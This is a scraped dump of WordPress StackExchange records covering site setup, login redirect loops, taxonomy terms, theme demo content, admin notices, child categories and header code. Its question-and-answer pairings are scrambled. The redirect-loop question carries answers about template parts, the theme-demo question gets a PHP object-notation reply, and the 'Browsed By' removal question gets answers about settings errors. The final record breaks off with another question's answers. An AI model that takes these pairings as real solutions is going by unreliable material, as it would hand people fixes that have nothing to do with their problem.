I have a webpage hosted in 'www.example.com' (for example) and a domain 'www.domain.com'. My problem is that I do not know how to point configure WordPress and make my page available online. I've already tried changing the site address (www.domain.com) and the WordPress address (www.example.com) in General Settings and also from `wp-config.php`. I've also tried setting up apache virtualhost in apache2/sites-available but still nothing is working. Any clue what do I need to do to get my website public? Thank you
It seems all I needed to do was put in the template\_part ``` get_template_part( 'template-parts/page/content', 'page' ); ```
290,923
<p>I have a site that we have developed that we have just moved live.</p> <p>Another company has the domain name currently so they are redirecting to our IP and DNS. </p> <p>The website works fine and all forms are working but the admin login form is getting a 'too many redirects' error when trying to load.</p> <p>We run our development sites from the same server, but on a subdomain and that is working fine.</p> <p>I've tried removing htaccess and plugins, replacing all the files again, replacing the database and it still doesn't work. I am at a loss to what the problem could be caused by?</p> <p>This is a standard WP site, not multi-site, and is running on HTTPS.</p> <p>Any ideas?</p> <p>Thankyou in advance!</p>
[ { "answer_id": 290880, "author": "maverick", "author_id": 132953, "author_profile": "https://wordpress.stackexchange.com/users/132953", "pm_score": -1, "selected": false, "text": "<p>I think it's okay to do that.\nproblem will arise if you don't name the file in proper way.\ni.e., wordpress will try to load that file according to template hierarchy (in case you want to explore what wp template hierarchy is visit: <a href=\"https://wphierarchy.com/\" rel=\"nofollow noreferrer\">https://wphierarchy.com/</a>)\nIf you are trying to make a custom post type then rename the file according to your post type slug(e.g. if your custom post type is testimonials then name the file page-testimonials.php).\nI hope it helps.</p>\n" }, { "answer_id": 290958, "author": "Jamie", "author_id": 14761, "author_profile": "https://wordpress.stackexchange.com/users/14761", "pm_score": 1, "selected": false, "text": "<p>It seems all I needed to do was put in the template_part</p>\n\n<pre><code> get_template_part( 'template-parts/page/content', 'page' );\n</code></pre>\n" } ]
2018/01/12
[ "https://wordpress.stackexchange.com/questions/290923", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/106013/" ]
I have a site that we have developed that we have just moved live. Another company has the domain name currently so they are redirecting to our IP and DNS. The website works fine and all forms are working but the admin login form is getting a 'too many redirects' error when trying to load. We run our development sites from the same server, but on a subdomain and that is working fine. I've tried removing htaccess and plugins, replacing all the files again, replacing the database and it still doesn't work. I am at a loss to what the problem could be caused by? This is a standard WP site, not multi-site, and is running on HTTPS. Any ideas? Thankyou in advance!
It seems all I needed to do was put in the template\_part ``` get_template_part( 'template-parts/page/content', 'page' ); ```
290,965
<p>I have a custom hierarchical taxonomy ('location') that looks like:</p> <pre><code>Tokyo --Minato ----Roppongi </code></pre> <p>I have a post where only "Roppongi" is selected and I want to display as text only the top level parent term of the taxonomy (Tokyo) without any category link.</p> <pre><code>&lt;?php $myterms = get_terms( array( 'taxonomy' =&gt; 'location', 'parent' =&gt; 0 ) );?&gt; </code></pre> <p>The above code gives me...</p> <blockquote> <p>Array ( [0] => WP_Term Object ( [term_id] => 11 [name] => Tokyo [slug] => tokyo [term_group] => 0 [term_taxonomy_id] => 11 [taxonomy] => location [description] => [parent] => 0 [count] => 0 [filter] => raw ) )</p> </blockquote> <p>... as an output if I use...</p> <pre><code>&lt;?php print_r($myterms);?&gt; </code></pre> <p>... to display the result at the front-end. How do I display only the [name] value in the array? I tried the below code but get an error.</p> <pre><code>&lt;?php echo $myterms[0]['name'];?&gt; </code></pre>
[ { "answer_id": 290966, "author": "KAGG Design", "author_id": 108721, "author_profile": "https://wordpress.stackexchange.com/users/108721", "pm_score": 2, "selected": false, "text": "<p>It is an object, and you can use the following notation:</p>\n\n<pre><code>&lt;?php echo $myterms[0]-&gt;name; ?&gt;\n</code></pre>\n" }, { "answer_id": 291004, "author": "Ashok Kumar Nath", "author_id": 43284, "author_profile": "https://wordpress.stackexchange.com/users/43284", "pm_score": 1, "selected": false, "text": "<p>Try the following code. You will need post ID and the taxonomy name:</p>\n\n<pre><code>function wpse_290965_top_level_tax_name( $post_id, $tax )\n{\n $terms = wp_get_post_terms( $post-&gt;ID, $tax );\n\n $anc = get_ancestors( $terms[0]-&gt;term_id, $tax );\n $parent = array_values( array_slice( $anc, -1 ) )[0];\n\n $term = get_term_by( 'id', $parent, $tax );\n return $term-&gt;name;\n}\n</code></pre>\n\n<p>Now call it like: <code>&lt;?php echo wpse_290965_top_level_tax_name( 234, 'location' ); ?&gt;</code></p>\n\n<p>Here 234 is an example of post ID.</p>\n" } ]
2018/01/13
[ "https://wordpress.stackexchange.com/questions/290965", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62598/" ]
I have a custom hierarchical taxonomy ('location') that looks like: ``` Tokyo --Minato ----Roppongi ``` I have a post where only "Roppongi" is selected and I want to display as text only the top level parent term of the taxonomy (Tokyo) without any category link. ``` <?php $myterms = get_terms( array( 'taxonomy' => 'location', 'parent' => 0 ) );?> ``` The above code gives me... > > Array ( [0] => WP\_Term Object ( [term\_id] => 11 [name] => Tokyo [slug] > => tokyo [term\_group] => 0 [term\_taxonomy\_id] => 11 [taxonomy] => location [description] => [parent] => 0 [count] => 0 [filter] => raw ) > ) > > > ... as an output if I use... ``` <?php print_r($myterms);?> ``` ... to display the result at the front-end. How do I display only the [name] value in the array? I tried the below code but get an error. ``` <?php echo $myterms[0]['name'];?> ```
It is an object, and you can use the following notation: ``` <?php echo $myterms[0]->name; ?> ```
290,968
<p>I'm working on the WordPress theme, I want to ask how to do the demo content, how to EXPORT the all - menu, pictures, texts, widgets, everything? I also made require download plugins whit TGM Plugin with which the theme works, but how to do when installing the theme, these plugins to come with my custom settings from the original theme? Most simply how to make a theme ready for installation by another user as it looks in the demo version? </p>
[ { "answer_id": 290966, "author": "KAGG Design", "author_id": 108721, "author_profile": "https://wordpress.stackexchange.com/users/108721", "pm_score": 2, "selected": false, "text": "<p>It is an object, and you can use the following notation:</p>\n\n<pre><code>&lt;?php echo $myterms[0]-&gt;name; ?&gt;\n</code></pre>\n" }, { "answer_id": 291004, "author": "Ashok Kumar Nath", "author_id": 43284, "author_profile": "https://wordpress.stackexchange.com/users/43284", "pm_score": 1, "selected": false, "text": "<p>Try the following code. You will need post ID and the taxonomy name:</p>\n\n<pre><code>function wpse_290965_top_level_tax_name( $post_id, $tax )\n{\n $terms = wp_get_post_terms( $post-&gt;ID, $tax );\n\n $anc = get_ancestors( $terms[0]-&gt;term_id, $tax );\n $parent = array_values( array_slice( $anc, -1 ) )[0];\n\n $term = get_term_by( 'id', $parent, $tax );\n return $term-&gt;name;\n}\n</code></pre>\n\n<p>Now call it like: <code>&lt;?php echo wpse_290965_top_level_tax_name( 234, 'location' ); ?&gt;</code></p>\n\n<p>Here 234 is an example of post ID.</p>\n" } ]
2018/01/13
[ "https://wordpress.stackexchange.com/questions/290968", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134794/" ]
I'm working on the WordPress theme, I want to ask how to do the demo content, how to EXPORT the all - menu, pictures, texts, widgets, everything? I also made require download plugins whit TGM Plugin with which the theme works, but how to do when installing the theme, these plugins to come with my custom settings from the original theme? Most simply how to make a theme ready for installation by another user as it looks in the demo version?
It is an object, and you can use the following notation: ``` <?php echo $myterms[0]->name; ?> ```
290,976
<p>I have a plugin with a setting page, and there are some action that have to be done when a certain option is saved. I am using the <code>pre_update_option_</code> hook to do this. So far so good. If something goes wrong, however, I'd also need to notify that to the user. I tried these things:</p> <p><strong>1) Add hook to admin_notices before updating the code</strong></p> <pre><code>add_action ('pre_update_option_my_var', function( $new_value, $old_value) { //Do my validation $valid = ( 'correct_value' == $new_value ); if ( !$valid ) add_action('admin_notices', 'my_notification_function' ) return ($valid)? $new_value : $old_value; }); </code></pre> <p>The validation works, but the notification is not displayed because, I assume, by then the functions hooked to <code>admin_notices</code> have already been executed?</p> <p>2) Validation in the function hooked to admin_notices To solve the problem above, I had this idea. </p> <pre><code>add_action('admin_notices', function () { //Do my validation $valid = ( 'correct_value' == $_POST['my_var'] ); if (!$valid) { /* Display error message */ } //Store the value of $valid }); add_action ('pre_update_option_my_var', function( $new_value, $old_value) { //fetch the value of $valid which I stored return ($valid)? $new_value : $old_value; }); </code></pre> <p>Now, this would seem to work well, I do see the notification now. The problem is that for some strange reason I don't see the posted values. I tried to print <code>$_POST</code> and it always empty! Probably WordPress is passing the values in some other way? If so, how?</p> <p>Which one is the right way to go, and how can I fix the issue? Of course, if any other method is better than these two and solves the issue, it's welcome. </p>
[ { "answer_id": 290978, "author": "KAGG Design", "author_id": 108721, "author_profile": "https://wordpress.stackexchange.com/users/108721", "pm_score": 1, "selected": false, "text": "<p>No, you are doing wrong. <code>add_action</code> must be in <code>__construct()</code> of your plugin object. Here is the excerpt from my small plugin <a href=\"https://wordpress.org/plugins/woof-by-category/\" rel=\"nofollow noreferrer\">WOOF by Category</a>, you can donload the whole code from wordpress.org:</p>\n\n<pre><code>public function __construct() {\n //...\n add_action( 'admin_notices', array( $this, 'wbc_plugin_not_found' ) );\n //...\n}\n</code></pre>\n\n<p>In my code I check a condition (validation - in your case) and return result via <code>wbc_requirements_met()</code>. If result is false, I add notification message with <code>wbc_admin_message</code></p>\n\n<pre><code>public function wbc_plugin_not_found() {\n if ( $this-&gt;wbc_requirements_met() ) {\n return;\n }\n\n $message = __( 'WOOF by Category plugin requires the following plugins installed and activated: ', 'woof-by-category' );\n //...\n $this-&gt;wbc_admin_message( $message, 'error notice is-dismissible' );\n }\n\nprivate function wbc_admin_message( $message, $class ) {\n ?&gt;\n &lt;div class=\"&lt;?php echo esc_attr( $class ); ?&gt;\"&gt;\n &lt;p&gt;\n &lt;span style=\"display: block; margin: 0.5em 0.5em 0 0; clear: both;\"&gt;\n &lt;?php echo wp_kses( $message, wp_kses_allowed_html( 'post' ) ); ?&gt;\n &lt;/span&gt;\n &lt;/p&gt;\n &lt;/div&gt;\n &lt;?php\n}\n</code></pre>\n" }, { "answer_id": 290986, "author": "DavidTonarini", "author_id": 61991, "author_profile": "https://wordpress.stackexchange.com/users/61991", "pm_score": 3, "selected": true, "text": "<p>After digging in the setting API I found the answer. Method 1 was correct, but the notification should not be done by hooking to <code>admin_notices</code>, rather by the function <a href=\"https://codex.wordpress.org/Function_Reference/add_settings_error\" rel=\"nofollow noreferrer\">add_settings_error</a></p>\n\n<pre><code>add_action ('pre_update_option_my_var', function( $new_value, $old_value) {\n //Do my validation\n $valid = ( 'correct_value' == $new_value );\n\n if ( !$valid ) {\n //This fixes the issue\n add_settings_error( 'my_var', $error_code, $message );\n }\n return ($valid)? $new_value : $old_value;\n});\n</code></pre>\n\n<p>In order to display them, this also needs to be added at the beginning of the settings page:</p>\n\n<pre><code>&lt;h2&gt;The heading of my settings page&lt;/h2&gt;\n&lt;?php settings_errors(); ?&gt;\n</code></pre>\n" }, { "answer_id": 291034, "author": "Armando Duran", "author_id": 11962, "author_profile": "https://wordpress.stackexchange.com/users/11962", "pm_score": 2, "selected": false, "text": "<p>I run into this same challenge a couple of months ago. I needed to show admin notices based on certain validations I had with some custom fields in a custom post type.</p>\n\n<p>Because my validation was in a pre_save hook, the problem is that \"the browser refreshes after that hook fires.\"</p>\n\n<p>So I found a class by John Oleksowicz that basically stores the admin notices on the options table and clears it when not needed.</p>\n\n<p>It's called: <a href=\"https://github.com/JolekPress/Easy-WordPress-Admin-Notifications\" rel=\"nofollow noreferrer\">Easy WordPress Admin Notifications</a></p>\n\n<p>The class is pretty straight forward and you can just use the plugin. In my case, I used the class and adapted it by changing the way to call the admin messages functions.</p>\n\n<p>So now, any time I need to trigger an admin notice I just do:</p>\n\n<pre><code>planner_notices_add_error( $message );\n</code></pre>\n" }, { "answer_id": 315503, "author": "Grzegorz Rola", "author_id": 151491, "author_profile": "https://wordpress.stackexchange.com/users/151491", "pm_score": 1, "selected": false, "text": "<p>We wrote small library for Wordpress admin notices: <a href=\"https://gitlab.com/wpdesk/wp-notice\" rel=\"nofollow noreferrer\">https://gitlab.com/wpdesk/wp-notice</a></p>\n\n<p>Now displaying admin notice is as simple as creating new object:</p>\n\n<p><code>$notice = new \\WPDesk\\Notice\\Notice( 'info', 'Notice text goes here' );</code></p>\n" } ]
2018/01/13
[ "https://wordpress.stackexchange.com/questions/290976", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/61991/" ]
I have a plugin with a setting page, and there are some action that have to be done when a certain option is saved. I am using the `pre_update_option_` hook to do this. So far so good. If something goes wrong, however, I'd also need to notify that to the user. I tried these things: **1) Add hook to admin\_notices before updating the code** ``` add_action ('pre_update_option_my_var', function( $new_value, $old_value) { //Do my validation $valid = ( 'correct_value' == $new_value ); if ( !$valid ) add_action('admin_notices', 'my_notification_function' ) return ($valid)? $new_value : $old_value; }); ``` The validation works, but the notification is not displayed because, I assume, by then the functions hooked to `admin_notices` have already been executed? 2) Validation in the function hooked to admin\_notices To solve the problem above, I had this idea. ``` add_action('admin_notices', function () { //Do my validation $valid = ( 'correct_value' == $_POST['my_var'] ); if (!$valid) { /* Display error message */ } //Store the value of $valid }); add_action ('pre_update_option_my_var', function( $new_value, $old_value) { //fetch the value of $valid which I stored return ($valid)? $new_value : $old_value; }); ``` Now, this would seem to work well, I do see the notification now. The problem is that for some strange reason I don't see the posted values. I tried to print `$_POST` and it always empty! Probably WordPress is passing the values in some other way? If so, how? Which one is the right way to go, and how can I fix the issue? Of course, if any other method is better than these two and solves the issue, it's welcome.
After digging in the setting API I found the answer. Method 1 was correct, but the notification should not be done by hooking to `admin_notices`, rather by the function [add\_settings\_error](https://codex.wordpress.org/Function_Reference/add_settings_error) ``` add_action ('pre_update_option_my_var', function( $new_value, $old_value) { //Do my validation $valid = ( 'correct_value' == $new_value ); if ( !$valid ) { //This fixes the issue add_settings_error( 'my_var', $error_code, $message ); } return ($valid)? $new_value : $old_value; }); ``` In order to display them, this also needs to be added at the beginning of the settings page: ``` <h2>The heading of my settings page</h2> <?php settings_errors(); ?> ```
290,979
<p><br> I want to remove "Browsed By Категорија: ..." from my category pages, but I don't know how. Web site is: <a href="http://deks.org.rs/sanunis/" rel="nofollow noreferrer">http://deks.org.rs/sanunis/</a> <br> Theme is nisarg. <br> Thank you in advance.</p>
[ { "answer_id": 290978, "author": "KAGG Design", "author_id": 108721, "author_profile": "https://wordpress.stackexchange.com/users/108721", "pm_score": 1, "selected": false, "text": "<p>No, you are doing wrong. <code>add_action</code> must be in <code>__construct()</code> of your plugin object. Here is the excerpt from my small plugin <a href=\"https://wordpress.org/plugins/woof-by-category/\" rel=\"nofollow noreferrer\">WOOF by Category</a>, you can donload the whole code from wordpress.org:</p>\n\n<pre><code>public function __construct() {\n //...\n add_action( 'admin_notices', array( $this, 'wbc_plugin_not_found' ) );\n //...\n}\n</code></pre>\n\n<p>In my code I check a condition (validation - in your case) and return result via <code>wbc_requirements_met()</code>. If result is false, I add notification message with <code>wbc_admin_message</code></p>\n\n<pre><code>public function wbc_plugin_not_found() {\n if ( $this-&gt;wbc_requirements_met() ) {\n return;\n }\n\n $message = __( 'WOOF by Category plugin requires the following plugins installed and activated: ', 'woof-by-category' );\n //...\n $this-&gt;wbc_admin_message( $message, 'error notice is-dismissible' );\n }\n\nprivate function wbc_admin_message( $message, $class ) {\n ?&gt;\n &lt;div class=\"&lt;?php echo esc_attr( $class ); ?&gt;\"&gt;\n &lt;p&gt;\n &lt;span style=\"display: block; margin: 0.5em 0.5em 0 0; clear: both;\"&gt;\n &lt;?php echo wp_kses( $message, wp_kses_allowed_html( 'post' ) ); ?&gt;\n &lt;/span&gt;\n &lt;/p&gt;\n &lt;/div&gt;\n &lt;?php\n}\n</code></pre>\n" }, { "answer_id": 290986, "author": "DavidTonarini", "author_id": 61991, "author_profile": "https://wordpress.stackexchange.com/users/61991", "pm_score": 3, "selected": true, "text": "<p>After digging in the setting API I found the answer. Method 1 was correct, but the notification should not be done by hooking to <code>admin_notices</code>, rather by the function <a href=\"https://codex.wordpress.org/Function_Reference/add_settings_error\" rel=\"nofollow noreferrer\">add_settings_error</a></p>\n\n<pre><code>add_action ('pre_update_option_my_var', function( $new_value, $old_value) {\n //Do my validation\n $valid = ( 'correct_value' == $new_value );\n\n if ( !$valid ) {\n //This fixes the issue\n add_settings_error( 'my_var', $error_code, $message );\n }\n return ($valid)? $new_value : $old_value;\n});\n</code></pre>\n\n<p>In order to display them, this also needs to be added at the beginning of the settings page:</p>\n\n<pre><code>&lt;h2&gt;The heading of my settings page&lt;/h2&gt;\n&lt;?php settings_errors(); ?&gt;\n</code></pre>\n" }, { "answer_id": 291034, "author": "Armando Duran", "author_id": 11962, "author_profile": "https://wordpress.stackexchange.com/users/11962", "pm_score": 2, "selected": false, "text": "<p>I run into this same challenge a couple of months ago. I needed to show admin notices based on certain validations I had with some custom fields in a custom post type.</p>\n\n<p>Because my validation was in a pre_save hook, the problem is that \"the browser refreshes after that hook fires.\"</p>\n\n<p>So I found a class by John Oleksowicz that basically stores the admin notices on the options table and clears it when not needed.</p>\n\n<p>It's called: <a href=\"https://github.com/JolekPress/Easy-WordPress-Admin-Notifications\" rel=\"nofollow noreferrer\">Easy WordPress Admin Notifications</a></p>\n\n<p>The class is pretty straight forward and you can just use the plugin. In my case, I used the class and adapted it by changing the way to call the admin messages functions.</p>\n\n<p>So now, any time I need to trigger an admin notice I just do:</p>\n\n<pre><code>planner_notices_add_error( $message );\n</code></pre>\n" }, { "answer_id": 315503, "author": "Grzegorz Rola", "author_id": 151491, "author_profile": "https://wordpress.stackexchange.com/users/151491", "pm_score": 1, "selected": false, "text": "<p>We wrote small library for Wordpress admin notices: <a href=\"https://gitlab.com/wpdesk/wp-notice\" rel=\"nofollow noreferrer\">https://gitlab.com/wpdesk/wp-notice</a></p>\n\n<p>Now displaying admin notice is as simple as creating new object:</p>\n\n<p><code>$notice = new \\WPDesk\\Notice\\Notice( 'info', 'Notice text goes here' );</code></p>\n" } ]
2018/01/13
[ "https://wordpress.stackexchange.com/questions/290979", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134556/" ]
I want to remove "Browsed By Категорија: ..." from my category pages, but I don't know how. Web site is: <http://deks.org.rs/sanunis/> Theme is nisarg. Thank you in advance.
After digging in the setting API I found the answer. Method 1 was correct, but the notification should not be done by hooking to `admin_notices`, rather by the function [add\_settings\_error](https://codex.wordpress.org/Function_Reference/add_settings_error) ``` add_action ('pre_update_option_my_var', function( $new_value, $old_value) { //Do my validation $valid = ( 'correct_value' == $new_value ); if ( !$valid ) { //This fixes the issue add_settings_error( 'my_var', $error_code, $message ); } return ($valid)? $new_value : $old_value; }); ``` In order to display them, this also needs to be added at the beginning of the settings page: ``` <h2>The heading of my settings page</h2> <?php settings_errors(); ?> ```
290,989
<p>I try to get the value of WooCommerce custom field from an array of product ID. No luck, I'm on the custom page not on the woocommerce loop.</p> <p>tried this: <code>$productArray1</code> is a list of product ID (and it's working)</p> <pre><code>global $wpdb; global $product; foreach ($productArray1 as $value) { $querystr = " SELECT meta_value FROM $wpdb-&gt;postmeta.meta_key WHERE $wpdb-&gt;postmeta.meta_key = 'product_cip' AND $wpdb-&gt;posts.$product-&gt;ID=$value ORDER BY meta_value DESC "; $productsCIP = $wpdb-&gt;get_results($querystr, OBJECT); if ( ! $productsCIP ) { $wpdb-&gt;print_error(); } else { echo $productsCIP; } }; </code></pre> <p>I can get all product with the same customfield like this :</p> <pre><code>$products = wc_get_products( array( 'product_cip' =&gt; '3337875548519' ) ); echo 'PRODUCT WITH SAME CIP (TOTAL : '.count($products).')&lt;br&gt;'; </code></pre> <p>But I need to find 'product_cip' by product ID. Any clue? </p> <p>Thanks for the help.</p>
[ { "answer_id": 291023, "author": "user1397532", "author_id": 134805, "author_profile": "https://wordpress.stackexchange.com/users/134805", "pm_score": 2, "selected": true, "text": "<p>Poedit is the way to go fro translating most of your plugins.</p>\n\n<p>WPMl is doing quite a good job, though, at parsing plugins and themes strings for translation purposes. You should give it a try.</p>\n" }, { "answer_id": 291026, "author": "Liam Stewart", "author_id": 121955, "author_profile": "https://wordpress.stackexchange.com/users/121955", "pm_score": 2, "selected": false, "text": "<p>There are many translation plugins. I'd say check out <code>Loco Translate</code>: <a href=\"https://en-ca.wordpress.org/plugins/loco-translate/\" rel=\"nofollow noreferrer\">https://en-ca.wordpress.org/plugins/loco-translate/</a></p>\n\n<p><strong><em>Features include:</em></strong></p>\n\n<ul>\n<li>Built-in translation editor within WordPress admin</li>\n<li>Create and update language files directly in your theme or plugin</li>\n<li>Extraction of translatable strings from your source code</li>\n<li>Native MO file compilation without the need for Gettext on your<br>\nsystem</li>\n<li>Support for PO features including comments, references and plural\nforms</li>\n<li>PO source view with clickable source code references</li>\n<li>Protected language directory for saving custom translations</li>\n<li>Configurable PO file backups</li>\n<li>Built-in WordPress locale codes</li>\n</ul>\n" } ]
2018/01/13
[ "https://wordpress.stackexchange.com/questions/290989", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/114157/" ]
I try to get the value of WooCommerce custom field from an array of product ID. No luck, I'm on the custom page not on the woocommerce loop. tried this: `$productArray1` is a list of product ID (and it's working) ``` global $wpdb; global $product; foreach ($productArray1 as $value) { $querystr = " SELECT meta_value FROM $wpdb->postmeta.meta_key WHERE $wpdb->postmeta.meta_key = 'product_cip' AND $wpdb->posts.$product->ID=$value ORDER BY meta_value DESC "; $productsCIP = $wpdb->get_results($querystr, OBJECT); if ( ! $productsCIP ) { $wpdb->print_error(); } else { echo $productsCIP; } }; ``` I can get all product with the same customfield like this : ``` $products = wc_get_products( array( 'product_cip' => '3337875548519' ) ); echo 'PRODUCT WITH SAME CIP (TOTAL : '.count($products).')<br>'; ``` But I need to find 'product\_cip' by product ID. Any clue? Thanks for the help.
Poedit is the way to go fro translating most of your plugins. WPMl is doing quite a good job, though, at parsing plugins and themes strings for translation purposes. You should give it a try.
291,117
<p>I am trying to retrieve a list including both builtin and custom post types:</p> <pre><code>$post_types = get_post_types(array( 'public' =&gt; TRUE, ), 'objects'); </code></pre> <p>The above almost works, but I would like to exclude the <code>attachment</code> from this list, only returning post types with specific support such as <code>editor</code>, <code>title</code> and <code>thumbnail</code>. Is this possible?</p>
[ { "answer_id": 291121, "author": "cybmeta", "author_id": 37428, "author_profile": "https://wordpress.stackexchange.com/users/37428", "pm_score": 2, "selected": false, "text": "<p><a href=\"https://developer.wordpress.org/reference/functions/get_post_types/\" rel=\"nofollow noreferrer\"><code>get_post_types()</code></a> accepts an array of arguments to match the fields of a <a href=\"https://developer.wordpress.org/reference/classes/wp_post_type/\" rel=\"nofollow noreferrer\">post type object</a>. So, you could do something like this (not tested):</p>\n\n<pre><code>$post_types = get_post_types(array(\n 'public' =&gt; true,\n 'supports' =&gt; array( 'editor', 'title', 'thumbnail' )\n), 'objects');\n</code></pre>\n\n<p>Unfortunately, you can not set someting like \"exclude\" in this function, and also you get only post types that support <strong>exactly</strong> <code>'editor', 'title', 'thumbnail'</code>, no more and no less.</p>\n\n<p>Or you could use <code>get_post_types_by_support()</code> (only for WP 4.5 and greater. Also, note that you can not exclude specific post types with this function either, but for the specific case of support for <code>editor, title, thumbnail</code>, attachment post type will be excluded in <em>most</em> cases).</p>\n\n<pre><code>$post_types = get_post_types_by_support( array( 'editor', 'title', 'thumbnail' ) );\n</code></pre>\n\n<p>If you want something that will work in any case, I would try to get post types based in a wider criteria, then build your own array, something like this:</p>\n\n<pre><code>$_post_types = get_post_types_by_support( array( 'editor', 'title', 'thumbnail' ) );\n\n$post_types = [];\n\nforeach($_post_types as $post_type) {\n // In most cases, attachment post type won't be here, but it can be\n if( $post_type-&gt;name !== 'attachment' ) {\n $post_types[] = $post_type;\n }\n}\n</code></pre>\n" }, { "answer_id": 291122, "author": "Cyclonecode", "author_id": 14870, "author_profile": "https://wordpress.stackexchange.com/users/14870", "pm_score": 4, "selected": true, "text": "<p>I found out that <a href=\"https://developer.wordpress.org/reference/functions/get_post_types_by_support/\" rel=\"nofollow noreferrer\"><code>get_post_types_by_support()</code></a> seems to be the solution to get the desired result:</p>\n\n<pre><code>$post_types = get_post_types_by_support(array('title', 'editor', 'thumbnail'));\n</code></pre>\n\n<p>The above will return <code>post</code>, <code>page</code> and any custom post type that supports <code>title</code>, <code>editor</code> and <code>thumbnail</code>.</p>\n\n<p>Since this will also return private post types, we could loop through the list and check if the type is viewable at the frontend. This can be done by using the <a href=\"https://developer.wordpress.org/reference/functions/is_post_type_viewable/\" rel=\"nofollow noreferrer\"><code>is_post_type_viewable()</code></a> function:</p>\n\n<pre><code>foreach ($post_types as $key =&gt; $post_type) {\n if (!is_post_type_viewable($post_type)) {\n unset($post_types[$post_type]);\n }\n}\n</code></pre>\n" }, { "answer_id": 326377, "author": "Will", "author_id": 38355, "author_profile": "https://wordpress.stackexchange.com/users/38355", "pm_score": 0, "selected": false, "text": "<p>The simplest approach for the OP's question would be to just unset 'attachment' from the returned array;</p>\n\n<pre><code>$post_types = get_post_types(array('public' =&gt; TRUE,), 'objects');\nunset($post_types['attachment']);\n</code></pre>\n\n<p>While not as elegant as the other solutions it has the least overhead.</p>\n" } ]
2018/01/15
[ "https://wordpress.stackexchange.com/questions/291117", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/14870/" ]
I am trying to retrieve a list including both builtin and custom post types: ``` $post_types = get_post_types(array( 'public' => TRUE, ), 'objects'); ``` The above almost works, but I would like to exclude the `attachment` from this list, only returning post types with specific support such as `editor`, `title` and `thumbnail`. Is this possible?
I found out that [`get_post_types_by_support()`](https://developer.wordpress.org/reference/functions/get_post_types_by_support/) seems to be the solution to get the desired result: ``` $post_types = get_post_types_by_support(array('title', 'editor', 'thumbnail')); ``` The above will return `post`, `page` and any custom post type that supports `title`, `editor` and `thumbnail`. Since this will also return private post types, we could loop through the list and check if the type is viewable at the frontend. This can be done by using the [`is_post_type_viewable()`](https://developer.wordpress.org/reference/functions/is_post_type_viewable/) function: ``` foreach ($post_types as $key => $post_type) { if (!is_post_type_viewable($post_type)) { unset($post_types[$post_type]); } } ```
291,145
<p>Is there a way to put some code into the header but have it load only on blog posts? </p> <p>Maybe a plugin or a piece of code that could help me accomplish this?</p>
[ { "answer_id": 291146, "author": "Chazlie", "author_id": 129681, "author_profile": "https://wordpress.stackexchange.com/users/129681", "pm_score": -1, "selected": false, "text": "<p>You could create another header called header-blog.php</p>\n\n<p>Then on your blogs template replace the </p>\n\n<pre><code> &lt;?php\n get_header();\n?&gt;\n</code></pre>\n\n<p>with </p>\n\n<pre><code> &lt;?php\nif ( is_home() ) :\n get_header( 'blog' );\nelse\n get_header();\nendif;\n?&gt;\n</code></pre>\n\n<p>I know is_home is slightly confusing but this is what wordpress looks for as a blog page</p>\n\n<p>also see <a href=\"https://codex.wordpress.org/Function_Reference/get_header\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/get_header</a> </p>\n" }, { "answer_id": 291147, "author": "Cedon", "author_id": 80069, "author_profile": "https://wordpress.stackexchange.com/users/80069", "pm_score": 2, "selected": true, "text": "<p>Yes. In your <code>functions.php</code> file, add something like the following:</p>\n\n<pre><code>function my_post_header_function() {\n if( is_single() ) {\n // Your Code Goes Here\n }\n}\nadd_action( 'wp_head', 'my_post_header_function' );\n</code></pre>\n\n<p>What this will do is execute this when <code>wp_head()</code> is fired. It will see if you're on a single post (NOTE: This will <em>not</em> work on pages or attachments) and if you are, it will execute the code you want to put.</p>\n" } ]
2018/01/15
[ "https://wordpress.stackexchange.com/questions/291145", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/134930/" ]
Is there a way to put some code into the header but have it load only on blog posts? Maybe a plugin or a piece of code that could help me accomplish this?
Yes. In your `functions.php` file, add something like the following: ``` function my_post_header_function() { if( is_single() ) { // Your Code Goes Here } } add_action( 'wp_head', 'my_post_header_function' ); ``` What this will do is execute this when `wp_head()` is fired. It will see if you're on a single post (NOTE: This will *not* work on pages or attachments) and if you are, it will execute the code you want to put.
291,169
<pre><code>$category = get_category( get_query_var( 'cat' ) ); $child_cats = (array) get_term_children( $category , 'category' ); wp_list_categories( array( 'exclude' =&gt; $child_cats ) ); </code></pre> <p>Is it possible to exclude all child categories?</p> <p>Update : I tried this also but it doesn't work.</p> <pre><code>$categories = get_categories( array( 'childless' =&gt; true, ) ); $child_cats = (array) get_term_children( $categories, 'category' ); $cats = wp_list_categories( array( 'exclude' =&gt; $child_cats ) ); </code></pre> <p>Edit 2 : I preferably would like this to work with <a href="https://codex.wordpress.org/Function_Reference/get_the_category_list" rel="nofollow noreferrer">get_the_category_list</a></p>
[ { "answer_id": 291146, "author": "Chazlie", "author_id": 129681, "author_profile": "https://wordpress.stackexchange.com/users/129681", "pm_score": -1, "selected": false, "text": "<p>You could create another header called header-blog.php</p>\n\n<p>Then on your blogs template replace the </p>\n\n<pre><code> &lt;?php\n get_header();\n?&gt;\n</code></pre>\n\n<p>with </p>\n\n<pre><code> &lt;?php\nif ( is_home() ) :\n get_header( 'blog' );\nelse\n get_header();\nendif;\n?&gt;\n</code></pre>\n\n<p>I know is_home is slightly confusing but this is what wordpress looks for as a blog page</p>\n\n<p>also see <a href=\"https://codex.wordpress.org/Function_Reference/get_header\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Function_Reference/get_header</a> </p>\n" }, { "answer_id": 291147, "author": "Cedon", "author_id": 80069, "author_profile": "https://wordpress.stackexchange.com/users/80069", "pm_score": 2, "selected": true, "text": "<p>Yes. In your <code>functions.php</code> file, add something like the following:</p>\n\n<pre><code>function my_post_header_function() {\n if( is_single() ) {\n // Your Code Goes Here\n }\n}\nadd_action( 'wp_head', 'my_post_header_function' );\n</code></pre>\n\n<p>What this will do is execute this when <code>wp_head()</code> is fired. It will see if you're on a single post (NOTE: This will <em>not</em> work on pages or attachments) and if you are, it will execute the code you want to put.</p>\n" } ]
2018/01/16
